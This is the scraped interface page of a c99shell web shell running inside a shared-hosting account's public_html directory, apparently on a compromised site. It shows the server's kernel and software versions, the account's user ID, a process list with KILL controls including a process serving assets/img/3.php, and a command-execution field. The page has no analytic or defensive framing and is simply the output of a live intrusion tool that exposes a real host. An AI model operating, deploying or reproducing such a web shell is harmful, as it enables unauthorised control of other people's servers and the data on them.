Software: LiteSpeed. PHP/7.4.33 uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) Safe-mode: OFF (not secure) /home/necipbey/public_html/assets/material/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
necipbey | 271284 | 0.0 | 0.0 | 498300 | 32112 | ? | S 18:19 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 271368 | 2.5 | 0.0 | 498704 | 22648 | ? | Ss 18:19 0:01 lsphp | KILL | ||||||||||||||||||||||
necipbey | 271988 | 0.0 | 0.0 | 412288 | 28116 | ? | S 18:19 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 272027 | 2.3 | 0.0 | 502800 | 26684 | ? | Ss 18:19 0:00 lsphp:/home/necipbey/public_html/assets/img/3.php | KILL | ||||||||||||||||||||||
necipbey | 272029 | 7.6 | 0.0 | 502800 | 26760 | ? | Ss 18:19 0:01 lsphp | KILL | ||||||||||||||||||||||
necipbey | 273938 | 13.0 | 0.0 | 500412 | 24292 | ? | Ss 18:20 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 274473 | 0.0 | 0.0 | 43044 | 2192 ? R 18:20 0:00 ps -aux | KILL |
:: Command execute :: | |
--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0101 ]-- |